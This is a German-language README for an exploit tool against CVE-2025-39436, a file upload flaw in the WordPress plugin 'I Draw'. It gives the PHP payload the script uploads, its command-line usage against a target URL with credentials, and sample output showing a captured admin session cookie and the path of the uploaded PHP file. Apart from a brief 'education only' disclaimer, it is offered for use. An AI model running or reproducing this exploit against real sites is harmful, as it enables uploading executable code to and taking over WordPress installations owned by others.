🚨 WordPress-Plugin-Exploit: CVE-2025-39436

📝 Beschreibung

Im WordPress-Plugin "I Draw" besteht eine Schwachstelle für uneingeschränktes Hochladen von Dateien mit gefährlichem Typ. Dieser Exploit ermöglicht es Angreifern, bösartige Dateien ohne Einschränkung hochzuladen. Das Problem betrifft I Draw Versionen bis 1.0.

🛠️ Exploit-Details

Der Exploit nutzt die Datei-Upload-Funktionalität des Plugins, um eine PHP-Nutzlast auszuführen. Nachfolgend die verwendete Standard-Nutzlast:

php_code = "<?php echo 'Im Nxploited | Khaled Alenazi'; ?>"

🚀 Nutzung

usage: CVE-2025-39436.py [-h] -u URL -un USERNAME -p PASSWORD

options:
  -h, --help            Show this help message and exit
  -u, --url URL         Target website URL
  -un, --username USERNAME
                        Username
  -p, --password PASSWORD

💻 Beispiel für Skriptausgabe

[✅] Login successful.
[🍪] Cookies here:
wordpress_logged_in_4b00801d41db6e7d9e0ed0af2c824ea0=admin%7C1746301986%7CZvXtaLwW7AlgtJ9JxOH24nAo8G6WqoSQGYcz6xGSNe1%7C53cc2f686eb1e4265e17fcb0823d5e7349ffdc7b86ec8099453b5e80e7c2b51a
[✅] File uploaded successfully:
[🔗] http://target/wp-content/uploads/2025/4/19/nxploit.php

⚠️ Haftungsausschluss

Dieses Skript wird nur zu Bildungszwecken bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden. Die Nutzung erfolgt auf eigenes Risiko.

Von: Nxploited ( Khaled Alenazi )